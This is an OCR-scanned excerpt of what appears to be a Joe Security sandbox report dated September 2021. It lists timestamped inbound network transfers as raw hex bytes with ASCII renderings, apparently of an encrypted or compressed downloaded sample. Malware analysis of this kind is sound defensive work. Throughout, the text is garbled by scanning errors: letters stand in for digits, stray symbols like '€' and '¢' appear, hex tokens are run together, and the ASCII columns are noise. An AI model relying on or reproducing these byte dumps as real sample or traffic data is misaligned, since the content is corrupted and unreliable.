96 8c 0a 76 2e 34 69 88 fe da 1c al 6d 4e 97 85 3b f5 a3 de dO bd d8 d8 b1 b7 a9 15 cd 64 2d 62 €9 59 3c 7a f1 a2 d1 af
0588 89 0d b1 c9 48 60 8d 78 22 68 al 2a 2e fc ec 84 00 3a a2 06 05 1c 03 f1 0d 1d a5 39 9f 1f 9b 2f 17 94 15 2¢ b0 84
73 4b 06 71 9f ef 98 02 3a 92 d7 3f be e5 9a 33 48 08 72 58 86 42 05 19 a8 6e 2 7c 65 ca 4f f4 84 Ob 30 75 2e fO €3 69 8e
94 55 8 ab cd 5a 02 6d 84 e3 46 fa 89 f8 73 bd c2 67 8¢ 9c 6f f8 90 ca 51 a9 21 54 90 dc 8e 3d b7 da df Oa f1 3b 39 6a 72
11 0a 0f 81 ab c2 fc 1b b5 ee ce 03 e4 17 44
Data Ascii: 43*TXh$YTi"G_2kVe3TMA0ZyO}9SCiv.4imN;d-bY<zH x"h*.:9/,sKq: ?3HrXBn|eO0u.iUZmFsgoQ!T=;9jrD

2021-09-28 07:53:39 UTC 685 IN Data Raw: fa Of ce 75 bd c8 41 7d €9 2c 8d 11 5f 56 95 36 €6 e0 76 24 80 14 cc 56 f4 88 5e Ob 14 9d d3 5f 47 02 94 74 17
95 d1 28 19 aa f0 fc c4 f5 56 b7 98 15 77 29 4a fb 33 57 68 f3 20 4c 9c 65 Ob 39 50 10 16 c3 7 86 95 fc dc fb d3 35 39 ff f9
5c 0f 81 77 cd b4 93 e8 de 35 Oe bf 50 d6 9f 64 72 3¢ b1 6e 60 76 b0 3f 9d f3 36 75 19 1a 42 9a 95 b5 31 c¢3 d4 98 92 f1
26 c5 e4 4d d5 8¢ 7d a6 df 3d 0a 9c ed 73 bc 97 47 63 f1 50 47 21 3a 3e db 11 44 5a 6f b4 47 6¢ 58 8f 38 3d e2 b7 62 83
e2 le ea 19 aa 04 61 00 a6 26 c6 62 ef 09 22 8d 73 df 72 d4 ed 02 b2 42 70 68 d8 b1 d6 97 c2 17 1c 01 8c 98 74 08 3f e4
62 e7 al 6a 18 96 b3 4d 48 b6 02 7b 7f 0d 09 bb 97 45 b7 2b fb 31 5b 03 09 d7 e0 3d 4b a2 06 54 5b €5 ec b9 6¢ 02 ce bc
ab a6 82 be 1e e0 17 95 75 60 3a 57 8e 7f b5 63
Data Ascii: uA},_V6v$V~_Gt(Vw)JI3Wh Le9P59\w5Pdr<n’v?6uB1&M}=sGcPG!:>DZ0oGIX8=ba&b"srBpht?bjMH{E+1[=KT
[lu™:We

2021-09-28 07:53:39 UTC 689 IN Data Raw: 9¢ 98 ae ba c0 9c ¢4 38 15 1b ¢7 99 00 59 32 cd 52 2f bc b6 df b4 d7 7e ea 77 Of fe 35 e8 ce 54 a8 bb 5d d3 b7
74 9a 99 eb 0f 6b 53 00 a4 fb 20 73 05 30 55 03 e2 64 b3 1c fO a8 2a ac d0 a5 dd 8b 03 55 03 9a c2 c5 66 ba fb 59 44 8a
fc b5 05 58 74 16 90 f8 d3 21 b5 ad c2 39 26 e0 76 19 55 60 e4 1e 5b 5a af c1 1a 18 be 8a 35 6b 52 0b 9f 21 86 fc 7e a8
03 ea 05 ab 0d 14 bf 7a ca b7 c¢2 3a b2 bd 7 b7 93 3e 97 f2 fa bd 26 1e 68 82 36 ae aa 5a 5b 38 d5 47 96 31 fc f6 75 cO
69 e4 b9 71 bb fc 3c b8 5¢ be 61 a5 20 c8 02 46 4d d6 de 1e fO f3 28 5a 1d 09 85 d6 86 70 55 81 79 17 2f e7 b7 a7 86 92
ff 1a 59 b1 c5 78 dd 2f c8 1f 26 3c 3b 15 bb 39 9f 27 e5 1e f3 fd 99 Oc 31 b9 9e c8 74 2a 58 50 78 14 07 7e 3c 94 41 44 d6
bb e6 17 2f 5d 95 f9 7c 08 83 d3 bb 17 38 90 43 61
Data Ascii: 8Y2R/~w5T]tkS sOUd*UfYDXt!9&vU [Z5kR!~z:>&h6Z[8G Luig<\a FM(ZpUy/Yx/&<;9'1t*XPx~<AD/]|8Ca

2021-09-28 07:53:39 UTC 693 IN Data Raw: 97 Oe c7 79 60 1le 72 55 aa 89 5¢ 52 31 b5 70 2e c¢f 95 72 a3 cb 70 77 50 14 17 13 41 d9 ee a6 6e c2 51 26 13
c3 c8 be c39b c9 47 6e e3 96 55 df 2e f5 53 4b f4 ab 65 7a 98 e2 98 b5 14 a5 5e 84 42 21 44 3c 5e 44 bb ¢9 9c ab d7 dd
9a 03 64 be 33 41 66 ae cc fc f9 20 9a 78 80 97 63 40 60 e3 af cc b2 09 d5 69 94 ce 04 46 €3 66 45 d8 df ad 9d 8c 76 02
a0 58 8b 29 72 30 ea 93 6b d5 d0 8e b3 13 fb 17 49 96 83 b7 3d 61 81 92 74 f0 95 9b c0 ad fb 47 af b4 c¢5 bl 9c 2a 67 de
0130 c587 a8 al 2e 75 05 d7 23 2b f2 49 d3 b3 07 5¢ 53 35 06 ff 74 10 d4 94 19 e8 22 09 41 c1 bd 62 48 48 b1 40 f0 d9
4b 0b f1 d5 3c 60 Oe 86 89 47 c7 d4 30 86 ee 61 2d 90 fc 12 a8 Oc a2 be e5 03 41 1e 0f 31 e3 ca 39 56 16 9e 1c 4d 36 21
e5 bb 58 36 5f 79 79 c4 b7 2e 08 e1 89 a7 91 f6 01 c3 9b
Data Ascii: y'rU\R1p.rpwPANQ&GnU.SKez"B!D<"Dd3Af xc@ iIFfEvX)rOkl=atG*g0.u#+I\S5t"AbHH@K<"G0a-A19VM6!
X6_yy.

2021-09-28 07:53:39 UTC 697 IN Data Raw: 04 37 52 10 9c 9d d6 70 5b 5e c7 c5 82 4a 01 7d d4 4c 67 98 bc 6¢ 7c¢ 4b f6 76 ad fe d9 7a 32 ¢3 4d be 0d 3e
1d a2 1c 3e a8 86 64 72 78 bc al c9 1f 4d ef c5 60 22 3b e8 78 7f 13 90 b7 2b b5 ce b3 91 c0 a2 b2 ae 44 fa 6f 6b 87 5f 4d
07 be 02833596 7b 17 83 f6 80 58 e5 e7 d5 48 a4 90 75 c3 64 71 77 5e a3 6d 66 ch 7e 5e cd 04 db 16 87 33 05 4d 20
7d e3 7b f4 94 c1 e8 c8 c7 13 3d 5f 1a 4f c1 e4 86 61 Oc 30 e0 a7 60 c8 ab 17 7e 3 9b 8a aa c5 69 1f 27 2a 3f {7 bc b3 6¢
e2 7c 758c eb 8b e2 7c bd 73 f4 ¢5 a7 90 c2 a3 f3 30 c0 a0 fd 3b ff 98 24 67 aa 40 6d f2 5b 94 4c 04 9f ff 57 27 69 2f 6a
55 b8 26 f0 9a e2 06 67 80 79 b4 ad ea ed 00 ac 71 86 €9 50 9b c9 bd 8e be 35 04 18 fa 96 81 5d 69 ba 45 8e 84 68 12 le
3b 02 34 4f 8a fb 96 25 2f 49 81 50 b7 70 8f 14 c1
Data Ascii: 7Rp["J}Lgl|Kvz2M>>drxM™;x+Dok_M5{XHudgqw"mf~"3M }{=_0a0"~i*?l|u|s0;$g@m[LW'i/jU&gyqP5]i
Eh;40%/IPp

2021-09-28 07:53:39 UTC 701 IN Data Raw: 74 62 e2 cf 91 1d 20 b8 c7 6c 78 ch €0 5a 27 04 d9 45 bb f0 ec 7d 37 24 16 bb 27 c1 c8 4e bb €9 58 4f 9e 5e
eb ba 88 07 89 1f ed 54 18 Oa cf 23 f3 ¢5 68 49 30 c8 8d 84 94 9b e4 bc 98 8b 34 a0 ba ba d3 4c c7 ff 9c 3 54 2f 3c 14 85
09 b8 d7 20 7b d5 bc 86 ea 8f 1e a3 cc 00 8b f8 9b fe 5e aa 79 b0 7d 59 b5 33 06 2a 41 9f ab 63 88 ¢9 67 39 40 b6 ac 69
3a 6a 5d 5b d5 2a 6b €0 00 a9 dc 44 e2 3a Oe 0d f6 ae 34 84 31 5a ac 8d 22 c5 6a 75 e9 4e bd 56 ea fe 9c c5 48 74 51 Of
d9 44 5e 5c¢ eb 2f b2 6b 3c ¢3 ad cd 86 d1 72 43 07 2c 31 22 67 55 ce b3 10 73 3f af 00 e6 00 81 2a 46 4b 71 9e 35 el d5
53 cc 16 9a 25 53 66 fa 1f 1b 56 89 a3 90 68 0a 49 96 ad cb 98 9e 2b a3 b9 99 67 f4 55 0d 4c 3e 2e 5e 6d 73 ae e7 58 14
a9 50 34 0a 90 81 45 11 c7 Oa 6a 6a 6b 2e e5 2e 41 1d
Data Ascii: th IXZ'E}7$'NXOAT#hI0ALT/< {*y}Y3*Acg9@i:j|[*kD:41Z"juNVHIQDNK<IC,1"gUs?*FKq5S%SfVhl+g
UL>."msXP4Ejik..A

2021-09-28 07:53:39 UTC 705 IN Data Raw: 35 el 32 62 c3 a4 02 64 7e 3d e8 e8 b5 e8 d9 45 76 2b 6e 50 9a 4e 51 46 62 fa 7e ed b7 7c 9e a8 23 ed 9d 9d
df 7d 45 a4 76 13 8d Oe c3 ff 2f 4f €9 93 ad Of 23 d4 59 6f 06 e4 02 3b 1b 8e 65 1a a4 69 04 17 ca bc 02 8d 70 58 c3 f6 4e
cd 67 8d c5 7a 12 39 cd 2e c2 5f 7c 4a 8e 4a 1d 0d 05 95 b9 63 db e7 68 el c1 c8 9e 83 b7 e6 5e f0 60 85 Oa e0 aa bf 8b
db 56 d4 2d 8f 2e af f1 df 22 16 af b7 c¢7 81 73 4b 95 13 09 1c 66 al b2 ae 14 d4 26 Oa 15 ed 84 2a 35 36 c4 49 dd 85 15
70 98 cf da a5 10 23 f7 37 ab 7e b8 e6 fe d4 b0 85 7b f9 6 c6 87 94 11 bf 60 58 be 3a 6e cd b1 59 b0 al 31 4f eb cd ac 2a
1351 61 4c 57 f1 a5 05 84 d7 8f f7 c6 a8 4f bc 60 ¢5 b6 9d 27 3 97 86 ed ef 37 60 9d 6a f1 98 4a al 0Of f8 27 c8 e5 2a 50
8b 20 6b 80 c9 1b e2 c6 1f 58 84 1e 69 55 4d 44
Data Ascii: 52bd~=Ev+nPNQFb~[#}EVv/O#Y0;eipXNgz9._|JJchA'V-."sKf&*561p#7~{ X:nY10*QaL WO '7'jJ*P kXiUMD

2021-09-28 07:53:39 UTC 709 IN Data Raw: ac 74 31 61 8e a0 d9 70 b8 fd 8f e2 75 30 d6 b1l aa 1c e6 55 7f 60 17 53 €9 ae 23 8f 10 52 82 39 7b 7d 53 96
84 a9 f9 4d 55 19 ef Oe 18 f2 4a 84 e9 0f c4 01 11 a2 d7 35 d9 el be 56 9d fc 55 13 a4 04 6a 02 3e d7 c2 90 de Oc 31 87
80 17 38 4d 8d 80 20 63 4f ef 2e 6e 06 27 15 78 c4 76 cb 46 44 {8 e9 ed fd c0 ce 00 46 81 9a 9d 35 86 ce 74 aa e2 ec 74
ae 92 8f bc 58 0a d0 83 3b cc d8 9b 36 c2 7a fd 9a 00 ea 55 db b0 ce ab 33 70 05 4b 1a d3 7d 62 32 bc 9a 97 89 ae 4b cl
a9 e4 f1 53 74 47 9d 74 40 24 45 9b 5f 54 58 de 59 ae 54 32 78 97 e7 9a f6 49 eb 05 19 37 8d 1c de a3 52 e7 70 45 02 09
Ta4c 25 21 fa8a a3 ac 8a 65 ac Oc 77 77 13 4c 03 53 d9 52 8b 6¢ 85 75 6¢ 5d ed al fa 19 b7 fe b7 ca 17 f2 30 98 ff fe 88
c4 59 a9 43 b9 22 25 55 da bb c0 05 cf 14 ¢8 17 17 6f
Data Ascii: tlapuOU’S#R9{}SMUJ5VUj>18M cO.n'xvFDF5ttX;6zU3pK}b2KStGt@S$E_TXYT2xI7RpEzL%!ewwLSRIull0YC
"%Uo
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kBytes
Timestamp transferred

2021-09-28 07:53:39 UTC 713

2021-09-28 07:53:39 UTC 717

2021-09-28 07:53:39 UTC 721

2021-09-28 07:53:39 UTC 725

2021-09-28 07:53:39 UTC 729

2021-09-28 07:53:39 UTC 733

2021-09-28 07:53:39 UTC 737

2021-09-28 07:53:39 UTC 741

2021-09-28 07:53:39 UTC 745

2021-09-28 07:53:39 UTC 749

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: el 92 06 Oc a0 7a df 6f b9 51 85 9a 91 f2 70 27 d7 61 8c 02 21 aa db 69 26 48 86 Oa 33 bc 9c 6e €9 20 6b {7
3b 2e b1l 10 3b a0 28 df 35 d0 64 87 17 99 74 8a ae 3c c9 08 99 38 al 31 36 72 5b 0d 64 4c Oa 29 de f2 eb 03 41 36 7c 31
d4 29 61 d1 24 07 83 ac c8 35 af f2 c4 60 c6 69 b7 49 ec ab f3 9¢c 50 17 bc dc ee df 16 e8 e6 4a 68 d6 1a 99 72 24 a3 09
7962 22 20 55 dd b6 Ob al 5¢ c5 ab 6d 76 d2 9a Oe 83 c6 bc b9 b9 40 35 2e 2f fa d6 44 cc 1d 58 c8 03 a8 90 37 d9 7f c8
f4 29 25 fb d5 a2 d9 48 88 9c 1d 92 34 a2 9b be ae 1c e8 6a dc bd 18 24 da 3a 28 11 92 94 a6 78 al fa 95 13 65 94 a5 7f
24 1b 87 59 ad da 9c a3 fa 68 e7 25 b5 8a 53 6a 6¢ 5f 54 8f el e5 2e 99 e5 01 29 62 7b 21 75 cb 82 b9 9a b4 27 c9 31 45
ad 61 e6 6f 93 95 f8 6f 65 ea ff f8 20 9a cb 8d f6 f2 af

Data Ascii: zoQp'ali&H3n k;.;(5dt<816r[dL)A6|1)a$5 iIPJhr$yb" U\mv@5./DX7)%H4$:(xe$Yh%Sjl_T.)b{!u'lEacoe

Data Raw: Ob 90 fO 14 68 ae cc bf e8 15 6f 64 ea f3 f9 86 b5 6e f8 12 7 1a 85 Ob 74 23 ae 47 fe 6f 34 b5 29 19 e4 45 41
06 93 30 8c 07 29 1d 3e 9¢ 55 f4 14 al 15 9c b6 c1 05 6 e5 84 41 60 5 33 df 23 ae 0a 38 8¢ 7f c2 e5 4a 88 bc c8 6e b9
c8 6f d6 09 03 f3 22 0a 9e 4e 71 b9 9c e7 1f 2¢c e4 ad 5a cb dc ¢2 a7 9¢ 05 1d c5 06 46 99 7b ab 2d 36 af 44 Ob 03 d5 2d
6b 1f 5b 63 d4 93 73 3e 32 3d ac a8 d4 f4 10 d0 9d 77 6a 4d f7 01 52 38 f3 b5 0a 88 25 f7 2c aa 70 85 01 22 45 a6 87 67
8c 95 47 fb fe c3 eb 38 6d 54 56 ad f8 a5 d8 5¢ c1 05 24 44 00 de 45 f9 09 35 55 1b 56 06 70 3e 34 2c 1c 32 c4 fd 3a 3f d8
dc 16 86 40 Oc 76 f5 Ob 9b 17 2f ab 4a fc 4f 98 21 d9 d3 8b 1c e0 c6 83 f9 fa bl ca 6¢ 3e f9 d5 53 81 e0 c6 1d 7b ab ae 4f
73 2a a8 07 f5 4c bc 09 75 f1 e4 d7 3c db 63 57

Data Ascii: hodnt#Go4)EA0)>UA3#8Jno"Nq,ZF{-6D-k[cs>2=wjMR8%,p"EgG8mTV\$DE5UVp>4,2:?@v/JO!I>S{Os*Lu<cW

Data Raw: fO dd 95 3e fd c8 71 da 68 f2 e6 Oa 83 35 2e 93 37 7a 43 €3 98 1c f4 c1 c3 02 Oe 9e b5 6e 33 16 66 42 3e f8 d1
70 ¢31d 71 39 0f f7 cb 7a c0 ca f1 8c ec 89 48 89 c9 84 1b 69 10 fb 27 €9 28 40 7 e2 33 75 8a 22 f1 05 4c a8 2f 7b 9f 84
9a 1b 57 60 6a f6 a6 f4 27 07 c9 d6 el 64 af 79 Ob 67 42 90 6a a8 8e 62 ad 68 Of 60 bc d5 e6 6d ¢3 bb 09 81 5b f4 7d 73
61 80 bd 46 ac fc f6 e6 53 59 ea c4 db 10 18 11 44 71 6e 3e f6 d6 dc cf 93 0a b2 8c a9 eb 51 1b 5a fd 70 3d af 18 63 b3 1c
710 b2 97 3c ec 01 92 95 7c 2d dc 68 73 aa c4 e6 e5 ee 9d a0 de 06 59 b0 42 7 fb 87 64 7d 9e 41 92 03 30 55 13 6d 8b
da e5 8f 87 70 a3 db b6 91 34 db 4d 79 ca 32 d5 c0 cd f3 8a 62 97 bb dd 3f d1 90 6¢ 0d bd 71 d9 78 96 €3 a7 51 5a 34 69
ee 9b Oc e2 a2 27 57 fa 09 f2 f3 18 20 db 5b a4

Data Ascii: >qh5.7zCn3fB>pq9zHi'(@3u"L/{Wj'dygBjbh m[}saFSYDqgn>QZp=c<|-hsYBd}AOUmp4My2b?IqxQZ4i'W [

Data Raw: 6b 4a e4 0f fe 90 92 8b ec f5 c2 b9 64 f1 ed 3b b7 76 cb ed 2d f8 10 21 c2 d5 96 3a ae a2 a8 c3 0d 3a 8f f2 23
69 a6 96 4c 98 25 fe 48 86 90 b6 a5 6f 6d 2d 46 4f f1 f6 64 ¢3 ec dO 9b 21 6b 3b 9d 41 4e 63 7e 7b 36 1c a4 d7 71 a3 27
al 55 f6 90 7d 31 59 1f 61 66 2a 27 5a 82 01 72 29 db 37 9f c4 9b e2 fb 61 30 2a 39 65 ea 50 7b cd 72 c8 el 7c 09 6 b2
f4 65 5d 87 6e 1c 1a 3c a7 ea 0a 00 27 fb e7 1d cb a9 31 58 60 e4 f2 ab f4 78 06 b8 9b ee 89 bc a6 Oa ff f3 26 d1 d5 10 76
4a b3 e4 1d 4a 02 59 10 {7 4d 6¢ de cf 00 d5 1a f2 f9 28 21 ea e2 8f a6 93 68 f2 e6 c6 86 e2 ac c2 8e 88 31 1e 3c 55 ce ea
e9 fd fb 6a 03 21 09 ad 29 47 6a 2f df 4a 99 65 ce 80 6a 1f 9c c3 Oe 08 5a 1c 2e Oc 3f 6¢ 2f 0a 5d 2d 56 31 d9 3e 83 c4 ec
6b bc 2b af 9b 06 b1 2f b8 80 4a el 32 bb ca

Data Ascii: kJd;v-!::#iL%Hom-FOd!k;ANc~{6q'U}1Yaf*Zr)7a0*9eP{r|le]n<'1X x&vJJIYMI(th1<Uj!)Gj/JejZ.?I/]-V1>k+/J2

Data Raw: 2b 4f 20 1b c9 d5 de fa 2f 61 3e b2 c5 eb b1 f2 91 dd de cc 68 5a 4e da 49 f2 65 ff db 54 53 51 18 ac 34 37 ec
6 35 fc 93 b7 36 bd df 10 b0 33 e6 20 53 b6 79 €8 21 ¢3 13 3e 27 5d 37 4f ¢7 c4 09 15 21 ed 5e e7 4f ea d7 3c 5¢c €0 16
50 38 f1 3f 36 55 ce b6 ea ea ee Ob fa 3e 7d 5e 5b 6d b5 4d a4 cf d9 13 68 b5 10 21 69 c4 e5 28 c5 Oc 03 4a Ob 9f €9 6b
47 33 d2 6f 95 13 b0 ad b5 a4 36 9c Oe 89 18 1d 78 23 52 4d 52 98 8f 95 43 df d8 4f 1c cf f9 41 b8 71 d1 dc 57 df 6b 21 16
52 8f3e 81 28 €539 a5 95 ca 71 b4 34 66 62 08 9b 9a 30 fc 08 d1 8¢ 35 06 04 ff 19 9b d9 60 89 ed 1c 04 6a 74 77 da ca
eb 3d 95 21 73 a8 7 ac 1c 57 e0 a3 16 35 4a ce 93 34 b6 4a c3 91 88 5 60 c0 50 77 54 ea 95 b8 48 09 82 17 a0 c6 28 d5
0a 9c 37 2e 31 c4 4d 07 2a 9a a8 cd c9 19 b4 fb be

Data Ascii: +O /a>hZNIeTSQ47563 Sy!>170!"0<\P8?6U>}"[mMh!i(JkG306x#RMRCOAqWkK!R>(9q4fb05 jtw=IsW5J4J
“PWTH(7.1M*

Data Raw: c1 4d 44 4c b4 9b 8 00 08 d1 d6 75 5¢ 05 73 9f c2 18 64 89 62 d3 31 d0 74 ba 5b ab 59 95 76 8f a7 00 70 0d
2c 7ffc 71 ¢9 08 d6 99 a8 8e 04 98 ed 2d 76 d9 c1 20 8¢ 21 e4 c3 4d ce d4 4e ee 46 f4 53 75 18 b3 de 2e dO f1 4e 36 a9
57 86 c4 ad bd 93 e6 fe af b5 0d d0 7f 42 a4 13 6b a6 3a 28 31 04 c2 da 84 1c ba aa 57 18 22 b5 23 da 8e e8 14 d3 ff {2
a5 6b 18 43 e6 06 10 e8 ba 3e 08 de c6 €6 34 21 14 53 d9 98 8¢ e2 ad 30 73 29 l1a 7c 34 49 9a 96 a8 dc e0 48 be el 9a
52 56 da e0 c4 53 1a 9e 98 bf 88 61 3e 85 54 72 85 6d ef 9e 85 ee 30 3b 0d 1f dc e7 4b 3a 81 04 1b 62 6a ea 11 a6 de 7a
41 eb 00 25 a2 8b 4b a7 3b fb 1b ¢5 b0 99 be ¢3 23 72 db 5b 9e 1e 04 15 62 b3 c2 ca 34 34 7d ba 19 1f 2e 85 8a d7 9c 6b
7d e3 03 91 82 bb 29 b0 f4 0f 05 12 6a 77 3c a2 a3 a5 26 d5

Data Ascii: MDLu\sdb1t[Yvp,q-v IMNFSu.N6WBK:(1W"#kC>4!S0s)|4IHRVSa>TrmO0;K:bjzA%K #r[b44} k})jw<&

Data Raw: aa 6d 0d al ab 2a 74 9d 70 18 Oe 8b 84 de 52 31 55 b5 8d 2f 53 e6 71 a6 36 ef b5 59 c3 19 2b 8e 44 f0 12 37
96 ea 3f 06 61 08 22 Ob 45 b4 4f 4¢c 68 8f 81 7a al 77 b9 c7 9b 19 57 e0 dc 01 55 0d b5 f8 3 24 66 ec 45 eb f5 80 72 97
83 7c 2f 42 b9 80 34 ee 32 96 b7 af 8d 6b 89 56 d3 b0 86 30 27 08 ba fe 27 df 64 22 6e 36 98 c1 5 68 24 7c €9 Oe e7 e2
c1 0b 2d c2 6f 19 04 29 4c 24 cf 88 62 12 b0 4e 1e b0 78 9c 1a 7e 80 b9 c4 16 e6 a3 3f f2 46 d7 17 ea bf 6a 74 bb 1e 93
b1 64 c6 1a 32 fd 4b c1 76 c9 40 21 a4 b9 ca ed bc dc 60 b9 1d 6d 63 25 bf 5e be 01 f3 f9 8f 30 24 11 7 ca 6a 35 59 el d1
le d7 1b el f2 23 ed Ob 7 Oa da da 57 0d 95 34 77 c0 93 bb 3f f5 a5 51 7a d6 b7 67 49 5c ce 02 b7 77 42 87 59 3d 56 b0
d6 69 bb 04 e2 f2 49 2e 06 ca 86 al 1b a8 27 32 69 dO

Data Ascii: m*tpR1U/Sq6Y+D7?a"EOLhzwWUSTET|/B42kV0"d"n6h$|-0)L$bNx~?Fjtd2Kv@! mc% 0$j5Y#W4w?Qzgl\wB
Y=Vil.'2i

Data Raw: d6 d0 4a c2 d6 94 ae 1c 8d 06 02 03 ec ae 7c 88 8e 7a 72 27 90 e7 8c ch 72 12 ac 41 00 cd 5a cb fb 1c 5a c7
3c b7 6f 4d e4 9f ¢7 33 fa df 1d el 24 b2 13 fd 15 10 de f6 ch 4e 73 cf 8e al d9 64 8d 9e 53 88 c4 e2 44 ea e5 d4 86 7d bf
43 8acl44 63087612 d9 63 e8 4b 82 3f 11 ab 05 d3 80 a5 ea f0 96 20 a7 19 bd e8 8a 16 70 fb 54 d5 23 6e dc da 29 58
cc 1d 76 00 d0 72 3d 20 88 50 77 2d 63 8f c9 28 20 8b fe 85 09 74 c7 Oa ef 5¢ ec 9a €6 40 57 06 1c 47 2d 85 3b 5d 27 92
4a 1b bd 38 25 02 el 37 23 93 06 d2 dO 8f f8 b2 93 c7 09 29 0Oa 0a c0 75 b9 db dc be 0d c0 4c 98 7f c1 cc b3 49 48 d9 20
bd 20 df 92 46 1c 68 cb cc db 93 58 77 2c 23 8c 8b 6a 85 b2 e8 25 24 28 8d 27 7f b3 bb 55 e4 1b 3f 54 3c 08 44 b3 78 b0
b4 89 d9 1c 16 14 9e fc ca dd b7 f5 41 03 fc al 7a b2

Data Ascii: J|zr'rAZZ<oM3$NsdSD}CDcvcK? pT#n)Xvr= Pw-c( \@WG-;]'J8%7#)uLIH FhXw,#%$('U?T<DxAz

Data Raw: 8b 10 f2 56 4d f5 36 4d 0a 34 72 9a 96 56 69 11 50 de 2a 93 a3 23 1a f0 d6 1c de 70 7c f2 55 17 ce 51 29 3f ad
71 63 12 fe 0f 0d fb 98 d4 dd 95 b9 fa 17 57 70 ed 1f 2c ff ec fd 75 80 00 c9 3e 59 af 9a c6 el 2d d2 c0 b7 c5 60 69 95 36
03 9e 93 3a f9 dd 3b 01 ec e0 a6 3f 13 99 fO d2 9e ca 98 eb c0 5f el f6 77 84 5f 48 27 ac 28 33 06 ca 10 36 b3 e7 5d 26 ae
a2 b7 4c a4 65 d4 a0 c7 df 5a 9e 97 eb dd 4d db 5f ba 34 aa 1a 5f f5 43 09 fc 32 46 88 bf 8d 22 08 b1 80 1c 34 3b 86 98
8b 7d 6f db aa 15 b5 d0 ac 5b 96 2e 7e al 24 b1 18 26 e3 e5 03 f1 fa 05 09 e7 13 7b 54 41 46 db dd 11 5b a5 7b 61 a6 82
5e 5e 1f 96 50 d8 4c 11 8a 12 49 06 4b 8c 47 Ob 55 5c df 95 2e d5 cb a2 ab fc 03 7d 61 41 b7 02 86 f8 27 36 71 a4 ed 97
9f 4f ee d9 11 ee 88 7b 9e 16 84 a3 2¢c 67 7b 00

Data Ascii: VM6M4rViP*#p|UQ)?qcWp,u>Y-'i6:;?_w_H'(36]&LeZM_4_C2F"4;}o[.~$&{TAF[{a*PLIKGU\.}aA'6qO{,g{

Data Raw: 02 59 2b 12 f3 ab 41 92 e4 8b 22 97 0b 00 cc ac 7f bc 09 35 35 89 64 7d 18 72 el 99 97 f4 3c 4a 4d de 8c e6
63 38 df 3b ee e4 18 94 c8 8e f9 ef a7 b3 bb df 5b 77 e0 b5 8¢ ¢3 92 dd 59 76 39 2a f1 21 2a 64 58 98 12 fc a2 42 f8 c1 5a
24 4a 5f ab d7 bb 9d 2d c0 56 0a 49 9f dc 70 b0 75 fb 01 3b d6 3e 00 80 18 b4 03 fc 84 3d 7 ad e2 88 ab a2 78 8b d3 5f f4
8e eb 07 f1 d1 f1 fd 2b e2 da db 4d ef 49 f4 a0 2c 58 c2 01 04 15 5d 1d bf c3 9e 3c e6 f0 51 3f 70 45 8a a7 21 41 e9 26 f3
f2 ba b2 cbh 61 2e 96 9c 2d e8 b5 2c ab 4c 1d al 77 90 23 07 4a a2 97 b6 48 4c a5 b7 61 bd 32 12 92 74 5¢ 56 a9 2d 77 Of
e2 eaf23743d1204391 31 2e f8 88 e0 72 6a ea ab f4 5a a5 39 1c b8 6¢ 26 65 37 9f 25 13 66 1f 4e cb 56 25 02 b3 10
54 52 75 fe cc d0 32 cd ¢5 df 61 53 76 30 40 7¢c

Data Ascii: Y+A"55d}r<IMc8;[wYVv9*!*dXBZ$J_-VIpu;>=x_+MI,X]<Q?pE!A&a.- Lw#IHLa2t\V-w7C C1.rjZ91&e7%fN
V%TRu2asvo@|
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kBytes
Timestamp transferred Direction Data

2021-09-28 07:53:39 UTC 753 IN Data Raw: 7b d8 32 91 d8 60 ae 33 32 29 93 24 b0 66 97 ca 31 60 34 9f c1 ¢7 21 6¢ 77 3d a6 71 7a 79 a6 08 02 56 7a 92
f1 3f cc 75 e6 3f ab cd c8 ed ee 3e 51 a2 95 55 31 14 97 35 75 27 Ob 22 38 6¢ 05 b3 a8 4b 29 ec fd 03 71 7b a8 ff 89 3f 30
67 ab a4 86 73 30 e7 b6 78 55 5b 50 ff 64 94 3¢ 1b da 30 e5 c2 2b al ae ba 23 27 2f 4d d7 18 58 12 c0 18 eb 3 cb 01 1f
4d 00 24 06 ef b7 0d 28 64 ed 90 0a a9 1f 9e a4 cc cc 04 05 fe 6b fO 43 f4 36 ba al 34 6a f6 65 33 cc 9c fe 04 30 el 64 8f
4559 5d 7a 5¢ bc 81 96 6¢ €3 18 1a 03 78 5d 4d 84 b7 59 b8 01 26 34 91 dc 53 98 41 dd 71 ef 9d Ob eb 22 80 30 6f ec 57
a4 34 7e 77 4b f1 ea Ob c7 49 29 f7 94 86 2 80 9 c9 a6 68 af 3f 24 d4 32 ea ba 1d 23 45 74 Oc 2b 75 14 c2 66 5a 91 d9 9b
0Ob b3 40 64 3f 6¢ €8 00 c6 €9 6b 45 19 3a cO d8
Data Ascii: {2°32)$f1 4llw=gzyVz?u?>QU15u"8IK)q{?0gsOxU[Pd<0+#/MXM$(dkC64je30dEY]z\IX]MY &4SAq"00W4
~wKI)h?$2#Et+ufZ@d?IKE:

2021-09-28 07:53:39 UTC 757 IN Data Raw: 2d 7e 5c el Of df 9d 3e ca 89 d4 Ob 2a 8a 74 70 4d 38 e4 87 81 29 f5 2e ab ¢5 19 Oe c1 7c 00 9f 62 ea 89 fO b3
8c 12 b5 89 29 36 07 b7 a2 14 bc 97 a3 6d 24 3f a7 33 be f4 ff 43 1d e0 3f fO Oe ba cb b2 01 62 c4 80 f0 ce f9 c4 fb 19 2e
fc 03 3f 0a 11 39 43 7d 83 b4 ff 7 6¢ 75 08 04 74 61 Of 79 6e 5e e3 ef ff cO c2 c4 35 8 7c 4c 1e a8 6b c3 f4 2e be 79 5 f1
58 ff cd 40 16 a7 90 7f 52 06 c2 d3 a2 cc 76 50 7f e7 42 be 25 0a d5 a3 80 6b 4f 6a 95 6b 21 c0 ¢7 77 15 19 a7 8f 52 a2 81
5c 6¢ 85 90 07 75 84 36 d6 8e 74 d6 7a d0 48 6d 7d 46 be d3 a9 56 {7 ce 05 fb dd 67 35 10 fd 90 78 51 57 24 eb 1e 5e 15
4d cl 1e 1d 94 08 38 22 62 da b5 b5 98 d5 6f 7e f7 08 0f 8d 12 19 dO 9d 5a 2d 03 d2 8b 79 52 1a 39 1b c6 12 54 bd 37 ab
1f 94 e8 79 c8 d6 eb 5e ce le 67 fe 5e 5f
Data Ascii: -~\>*tpM8).|b)6m$?3C?b.?9C}Hutayn"5|Lk.yX@RvPB%kOjk!wR\lu6tzHmM}FVg5xQW$*M8"bo~Z-yRIT7y g"

